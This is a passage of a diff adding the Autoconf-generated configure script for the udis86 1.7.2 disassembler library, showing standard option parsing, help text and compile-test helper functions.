;; + -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ + | --libexe=* | --libex=* | --libe=*) + libexecdir=$ac_optarg ;; + + -localedir | --localedir | --localedi | --localed | --locale) + ac_prev=localedir ;; + -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) + localedir=$ac_optarg ;; + + -localstatedir | --localstatedir | --localstatedi | --localstated \ + | --localstate | --localstat | --localsta | --localst | --locals) + ac_prev=localstatedir ;; + -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ + | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) + localstatedir=$ac_optarg ;; + + -mandir | --mandir | --mandi | --mand | --man | --ma | --m) + ac_prev=mandir ;; + -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) + mandir=$ac_optarg ;; + + -nfp | --nfp | --nf) + # Obsolete; use --without-fp. + with_fp=no ;; + + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c | -n) + no_create=yes ;; + + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) + no_recursion=yes ;; + + -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ + | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ + | --oldin | --oldi | --old | --ol | --o) + ac_prev=oldincludedir ;; + -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ + | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ + | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) + oldincludedir=$ac_optarg ;; + + -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) + ac_prev=prefix ;; + -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) + prefix=$ac_optarg ;; + + -program-prefix | --program-prefix | --program-prefi | --program-pref \ + | --program-pre | --program-pr | --program-p) + ac_prev=program_prefix ;; + -program-prefix=* | --program-prefix=* | --program-prefi=* \ + | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) + program_prefix=$ac_optarg ;; + + -program-suffix | --program-suffix | --program-suffi | --program-suff \ + | --program-suf | --program-su | --program-s) + ac_prev=program_suffix ;; + -program-suffix=* | --program-suffix=* | --program-suffi=* \ + | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) + program_suffix=$ac_optarg ;; + + -program-transform-name | --program-transform-name \ + | --program-transform-nam | --program-transform-na \ + | --program-transform-n | --program-transform- \ + | --program-transform | --program-transfor \ + | --program-transfo | --program-transf \ + | --program-trans | --program-tran \ + | --progr-tra | --program-tr | --program-t) + ac_prev=program_transform_name ;; + -program-transform-name=* | --program-transform-name=* \ + | --program-transform-nam=* | --program-transform-na=* \ + | --program-transform-n=* | --program-transform-=* \ + | --program-transform=* | --program-transfor=* \ + | --program-transfo=* | --program-transf=* \ + | --program-trans=* | --program-tran=* \ + | --progr-tra=* | --program-tr=* | --program-t=*) + program_transform_name=$ac_optarg ;; + + -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) + ac_prev=pdfdir ;; + -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) + pdfdir=$ac_optarg ;; + + -psdir | --psdir | --psdi | --psd | --ps) + ac_prev=psdir ;; + -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) + psdir=$ac_optarg ;; + + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + silent=yes ;; + + -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) + ac_prev=sbindir ;; + -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ + | --sbi=* | --sb=*) + sbindir=$ac_optarg ;; + + -sharedstatedir | --sharedstatedir | --sharedstatedi \ + | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ + | --sharedst | --shareds | --shared | --share | --shar \ + | --sha | --sh) + ac_prev=sharedstatedir ;; + -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ + | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ + | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ + | --sha=* | --sh=*) + sharedstatedir=$ac_optarg ;; + + -site | --site | --sit) + ac_prev=site ;; + -site=* | --site=* | --sit=*) + site=$ac_optarg ;; + + -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) + ac_prev=srcdir ;; + -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) + srcdir=$ac_optarg ;; + + -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ + | --syscon | --sysco | --sysc | --sys | --sy) + ac_prev=sysconfdir ;; + -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ + | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) + sysconfdir=$ac_optarg ;; + + -target | --target | --targe | --targ | --tar | --ta | --t) + ac_prev=target_alias ;; + -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) + target_alias=$ac_optarg ;; + + -v | -verbose | --verbose | --verbos | --verbo | --verb) + verbose=yes ;; + + -version | --version | --versio | --versi | --vers | -V) + ac_init_version=: ;; + + -with-* | --with-*) + ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + as_fn_error $? "invalid package name: $ac_useropt" + ac_useropt_orig=$ac_useropt + ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"with_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--with-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval with_$ac_useropt=\$ac_optarg ;; + + -without-* | --without-*) + ac_useropt=`expr "x$ac_option" : 'x-*without-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + as_fn_error $? "invalid package name: $ac_useropt" + ac_useropt_orig=$ac_useropt + ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"with_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval with_$ac_useropt=no ;; + + --x) + # Obsolete; use --with-x. + with_x=yes ;; + + -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ + | --x-incl | --x-inc | --x-in | --x-i) + ac_prev=x_includes ;; + -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ + | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) + x_includes=$ac_optarg ;; + + -x-libraries | --x-libraries | --x-librarie | --x-librari \ + | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) + ac_prev=x_libraries ;; + -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ + | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) + x_libraries=$ac_optarg ;; + + -*) as_fn_error $? "unrecognized option: \`$ac_option' +Try \`$0 --help' for more information" + ;; + + *=*) + ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` + # Reject names that are not valid shell variable names. + case $ac_envvar in #( + '' | [0-9]* | *[!_$as_cr_alnum]* ) + as_fn_error $? "invalid variable name: \`$ac_envvar'" ;; + esac + eval $ac_envvar=\$ac_optarg + export $ac_envvar ;; + + *) + # FIXME: should be removed in autoconf 3.0. + $as_echo "$as_me: WARNING: you should use --build, --host, --target" >&2 + expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && + $as_echo "$as_me: WARNING: invalid host type: $ac_option" >&2 + : "${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option}" + ;; + + esac +done + +if test -n "$ac_prev"; then + ac_option=--`echo $ac_prev | sed 's/_/-/g'` + as_fn_error $? "missing argument to $ac_option" +fi + +if test -n "$ac_unrecognized_opts"; then + case $enable_option_checking in + no) ;; + fatal) as_fn_error $? "unrecognized options: $ac_unrecognized_opts" ;; + *) $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2 ;; + esac +fi + +# Check all directory arguments for consistency. +for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ + datadir sysconfdir sharedstatedir localstatedir includedir \ + oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ + libdir localedir mandir +do + eval ac_val=\$$ac_var + # Remove trailing slashes. + case $ac_val in + */ ) + ac_val=`expr "X$ac_val" : 'X\(.*[^/]\)' \| "X$ac_val" : 'X\(.*\)'` + eval $ac_var=\$ac_val;; + esac + # Be sure to have absolute directory names. + case $ac_val in + [\\/$]* | ?:[\\/]* ) continue;; + NONE | '' ) case $ac_var in *prefix ) continue;; esac;; + esac + as_fn_error $? "expected an absolute directory name for --$ac_var: $ac_val" +done + +# There might be people who depend on the old broken behavior: `$host' +# used to hold the argument of --host etc. +# FIXME: To remove some day. +build=$build_alias +host=$host_alias +target=$target_alias + +# FIXME: To remove some day. +if test "x$host_alias" != x; then + if test "x$build_alias" = x; then + cross_compiling=maybe + elif test "x$build_alias" != "x$host_alias"; then + cross_compiling=yes + fi +fi + +ac_tool_prefix= +test -n "$host_alias" && ac_tool_prefix=$host_alias- + +test "$silent" = yes && exec 6>/dev/null + + +ac_pwd=`pwd` && test -n "$ac_pwd" && +ac_ls_di=`ls -di .` && +ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || + as_fn_error $? "working directory cannot be determined" +test "X$ac_ls_di" = "X$ac_pwd_ls_di" || + as_fn_error $? "pwd does not report name of working directory" + + +# Find the source files, if location was not specified. +if test -z "$srcdir"; then + ac_srcdir_defaulted=yes + # Try the directory containing this script, then the parent directory. + ac_confdir=`$as_dirname -- "$as_myself" || +$as_expr X"$as_myself" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_myself" : 'X\(//\)[^/]' \| \ + X"$as_myself" : 'X\(//\)$' \| \ + X"$as_myself" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X"$as_myself" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + srcdir=$ac_confdir + if test ! -r "$srcdir/$ac_unique_file"; then + srcdir=.. + fi +else + ac_srcdir_defaulted=no +fi +if test ! -r "$srcdir/$ac_unique_file"; then + test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." + as_fn_error $? "cannot find sources ($ac_unique_file) in $srcdir" +fi +ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" +ac_abs_confdir=`( + cd "$srcdir" && test -r "./$ac_unique_file" || as_fn_error $? "$ac_msg" + pwd)` +# When building in place, set srcdir=. +if test "$ac_abs_confdir" = "$ac_pwd"; then + srcdir=. +fi +# Remove unnecessary trailing slashes from srcdir. +# Double slashes in file names in object file debugging info +# mess up M-x gdb in Emacs. +case $srcdir in +*/) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; +esac +for ac_var in $ac_precious_vars; do + eval ac_env_${ac_var}_set=\${${ac_var}+set} + eval ac_env_${ac_var}_value=\$${ac_var} + eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} + eval ac_cv_env_${ac_var}_value=\$${ac_var} +done + +# +# Report the --help message. +# +if test "$ac_init_help" = "long"; then + # Omit some internal or obsolete options to make the list less imposing. + # This message is too long to be a string in the A/UX 3.1 sh. + cat <<_ACEOF +\`configure' configures udis86 1.7.2 to adapt to many kinds of systems. + +Usage: $0 [OPTION]... [VAR=VALUE]... + +To assign environment variables (e.g., CC, CFLAGS...), specify them as +VAR=VALUE. See below for descriptions of some of the useful variables. + +Defaults for the options are specified in brackets. + +Configuration: + -h, --help display this help and exit + --help=short display options specific to this package + --help=recursive display the short help of all the included packages + -V, --version display version information and exit + -q, --quiet, --silent do not print \`checking ...' messages + --cache-file=FILE cache test results in FILE [disabled] + -C, --config-cache alias for \`--cache-file=config.cache' + -n, --no-create do not create output files + --srcdir=DIR find the sources in DIR [configure dir or \`..'] + +Installation directories: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [PREFIX] + +By default, \`make install' will install all the files in +\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify +an installation prefix other than \`$ac_default_prefix' using \`--prefix', +for instance \`--prefix=\$HOME'. + +For better control, use the options below. + +Fine tuning of the installation directories: + --bindir=DIR user executables [EPREFIX/bin] + --sbindir=DIR system admin executables [EPREFIX/sbin] + --libexecdir=DIR program executables [EPREFIX/libexec] + --sysconfdir=DIR read-only single-machine data [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] + --localstatedir=DIR modifiable single-machine data [PREFIX/var] + --libdir=DIR object code libraries [EPREFIX/lib] + --includedir=DIR C header files [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc [/usr/include] + --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] + --datadir=DIR read-only architecture-independent data [DATAROOTDIR] + --infodir=DIR info documentation [DATAROOTDIR/info] + --localedir=DIR locale-dependent data [DATAROOTDIR/locale] + --mandir=DIR man documentation [DATAROOTDIR/man] + --docdir=DIR documentation root [DATAROOTDIR/doc/udis86] + --htmldir=DIR html documentation [DOCDIR] + --dvidir=DIR dvi documentation [DOCDIR] + --pdfdir=DIR pdf documentation [DOCDIR] + --psdir=DIR ps documentation [DOCDIR] +_ACEOF + + cat <<\_ACEOF + +Program names: + --program-prefix=PREFIX prepend PREFIX to installed program names + --program-suffix=SUFFIX append SUFFIX to installed program names + --program-transform-name=PROGRAM run sed PROGRAM on installed program names + +System types: + --build=BUILD configure for building on BUILD [guessed] + --host=HOST cross-compile to build programs to run on HOST [BUILD] +_ACEOF +fi + +if test -n "$ac_init_help"; then + case $ac_init_help in + short | recursive ) echo "Configuration of udis86 1.7.2:";; + esac + cat <<\_ACEOF + +Optional Features: + --disable-option-checking ignore unrecognized --enable/--with options + --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) + --enable-FEATURE[=ARG] include FEATURE [ARG=yes] + --enable-silent-rules less verbose build output (undo: "make V=1") + --disable-silent-rules verbose build output (undo: "make V=0") + --enable-dependency-tracking + do not reject slow dependency extractors + --disable-dependency-tracking + speeds up one-time build + --enable-shared[=PKGS] build shared libraries [default=no] + --enable-static[=PKGS] build static libraries [default=yes] + --enable-fast-install[=PKGS] + optimize for fast installation [default=yes] + --disable-libtool-lock avoid locking (might break parallel builds) + +Optional Packages: + --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] + --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) + --with-pic[=PKGS] try to use only PIC/non-PIC objects [default=use + both] + --with-gnu-ld assume the C compiler uses GNU ld [default=no] + --with-sysroot=DIR Search for dependent libraries within DIR + (or the compiler's sysroot if not specified). + --with-python=[[PATH]] + absolute path to python executable + --with-yasm=[[PATH]] absolute path to yasm executable + --with-sphinx-build=[[PATH]] + absolute path to sphinx-build executable + +Some influential environment variables: + CC C compiler command + CFLAGS C compiler flags + LDFLAGS linker flags, e.g. -L if you have libraries in a + nonstandard directory + LIBS libraries to pass to the linker, e.g. -l + CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I if + you have headers in a nonstandard directory + CPP C preprocessor + PYTHON Absolute path to python executable + YASM Absolute path to yasm executable + SPHINX_BUILD + Absolute path to sphinx-build executable + +Use these variables to override the choices made by `configure' or to help +it to find libraries and programs with nonstandard names/locations. + +Report bugs to . +_ACEOF +ac_status=$? +fi + +if test "$ac_init_help" = "recursive"; then + # If there are subdirs, report their specific --help. + for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue + test -d "$ac_dir" || + { cd "$srcdir" && ac_pwd=`pwd` && srcdir=. && test -d "$ac_dir"; } || + continue + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + cd "$ac_dir" || { ac_status=$?; continue; } + # Check for guested configure. + if test -f "$ac_srcdir/configure.gnu"; then + echo && + $SHELL "$ac_srcdir/configure.gnu" --help=recursive + elif test -f "$ac_srcdir/configure"; then + echo && + $SHELL "$ac_srcdir/configure" --help=recursive + else + $as_echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 + fi || ac_status=$? + cd "$ac_pwd" || { ac_status=$?; break; } + done +fi + +test -n "$ac_init_help" && exit $ac_status +if $ac_init_version; then + cat <<\_ACEOF +udis86 configure 1.7.2 +generated by GNU Autoconf 2.69 + +Copyright (C) 2012 Free Software Foundation, Inc. +This configure script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it. +_ACEOF + exit +fi + +## ------------------------ ## +## Autoconf initialization. ## +## ------------------------ ## + +# ac_fn_c_try_compile LINENO +# -------------------------- +# Try to compile conftest.$ac_ext, and return whether this succeeded. +ac_fn_c_try_compile () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + rm -f conftest.$ac_objext + if { { ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_compile") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + grep -v '^ *+' conftest.err >conftest.er1 + cat conftest.er1 >&5 + mv -f conftest.er1 conftest.err + fi + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then : + ac_retval=0 +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_retval=1 +fi + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + as_fn_set_status $ac_retval + +} # ac_fn_c_try_compile + +# ac_fn_c_try_link LINENO +# ----------------------- +# Try to link conftest.$ac_ext, and return whether this succeeded. +ac_fn_c_try_link () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + rm -f conftest.$ac_objext conftest$ac_exeext + if { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + grep -v '^ *+' conftest.err >conftest.er1 + cat conftest.er1 >&5 + mv -f conftest.er1 conftest.err + fi + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest$ac_exeext && { + test "$cross_compiling" = yes || + test -x conftest$ac_exeext + }; then : + ac_retval=0 +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_retval=1 +fi + # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information + # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would + # interfere with the next link command; also delete a directory that is + # left behind by Apple's compiler. We do this before executing the actions. + rm -rf conftest.dSYM conftest_ipa8_conftest.oo + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + as_fn_set_status $ac_retval + +} # ac_fn_c_try_link + +# ac_fn_c_check_header_compile LINENO HEADER VAR INCLUDES +# ------------------------------------------------------- +# Tests whether HEADER exists and can be compiled using the include files in +# INCLUDES, setting the cache variable VAR accordingly. +ac_fn_c_check_header_compile () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 +$as_echo_n "checking for $2... " >&6; } +if eval \${$3+:} false; then : + $as_echo_n "(cached) " >&6 +else + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +#include <$2> +_ACEOF +if ac_fn_c_try_compile "$LINENO"; then : + eval "$3=yes" +else + eval "$3=no" +fi +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +eval ac_res=\$$3 + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +$as_echo "$ac_res" >&6; } + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + +} # ac_fn_c_check_header_compile + +# ac_fn_c_try_cpp LINENO +# ---------------------- +# Try to preprocess conftest.$ac_ext, and return whether this succeeded. +ac_fn_c_try_cpp () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + if { { ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + grep -v '^ *+' conftest.err >conftest.er1 + cat conftest.er1 >&5 + mv -f conftest.er1 conftest.err + fi + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } > conftest.i && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then : + ac_retval=0 +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_retval=1 +fi + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + as_fn_set_status $ac_retval + +} # ac_fn_c_try_cpp + +# ac_fn_c_try_run LINENO +# ---------------------- +# Try to link conftest.$ac_ext, and return whether this succeeded. Assumes +# that executables *can* be run. +ac_fn_c_try_run () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + if { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && { ac_try='./conftest$ac_exeext' + { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; }; then : + ac_retval=0 +else + $as_echo "$as_me: program exited with status $ac_status" >&5 + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_retval=$ac_status +fi + rm -rf conftest.dSYM conftest_ipa8_conftest.oo + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + as_fn_set_status $ac_retval + +} # ac_fn_c_try_run + +# ac_fn_c_check_func LINENO FUNC VAR +# ---------------------------------- +# Tests whether FUNC exists, setting the cache variable VAR accordingly +ac_fn_c_check_func () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 +$as_echo_n "checking for $2... " >&6; } +if eval \${$3+:} false; then : + $as_echo_n "(cached) " >&6 +else + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +/* Define $2 to an innocuous variant, in case declares $2. + For example, HP-UX 11i declares gettimeofday. */ +#define $2 innocuous_$2 + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char $2 (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef $2 + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char $2 (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_$2 || defined __stub___$2 +choke me +#endif + +int +main () +{ +return $2 (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + eval "$3=yes" +else + eval "$3=no" +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +eval ac_res=\$$3 + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +$as_echo "$ac_res" >&6; } + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + +} # ac_fn_c_check_func + +# ac_fn_c_check_header_mongrel LINENO HEADER VAR INCLUDES +# ------------------------------------------------------- +# Tests whether HEADER exists, giving a warning if it cannot be compiled using +# the include files in INCLUDES and setting the cache variable VAR +# accordingly. +ac_fn_c_check_header_mongrel () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + if eval \${$3+:} false; then : + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 +$as_echo_n "checking for $2... " >&6; } +if eval \${$3+:} false; then : + $as_echo_n "(cached) " >&6 +fi +eval ac_res=\$$3 + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +$as_echo "$ac_res" >&6; } +else + # Is the header compilable? +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 usability" >&5 +$as_echo_n "checking $2 usability... " >&6; } +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +#include <$2> +_ACEOF +if ac_fn_c_try_compile "$LINENO"; then : + ac_header_compiler=yes +else + ac_header_compiler=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_compiler" >&5 +$as_echo "$ac_header_compiler" >&6; } + +# Is the header present? +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 presence" >&5 +$as_echo_n "checking $2 presence... " >&6; } +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include <$2> +_ACEOF +if ac_fn_c_try_cpp "$LINENO"; then : + ac_header_preproc=yes +else + ac_header_preproc=no +fi +rm -f conftest.err conftest.i conftest.$ac_ext +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_preproc" >&5 +$as_echo "$ac_header_preproc" >&6; } + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in #(( + yes:no: ) + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&5 +$as_echo "$as_me: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&2;} + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 +$as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} + ;; + no:yes:* ) + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: present but cannot be compiled" >&5 +$as_echo "$as_me: WARNING: $2: present but cannot be compiled" >&2;} + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: check for missing prerequisite headers?" >&5 +$as_echo "$as_me: WARNING: $2: check for missing prerequisite headers?" >&2;} + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: see the Autoconf documentation" >&5 +$as_echo "$as_me: WARNING: $2: see the Autoconf documentation" >&2;} + { $as_echo 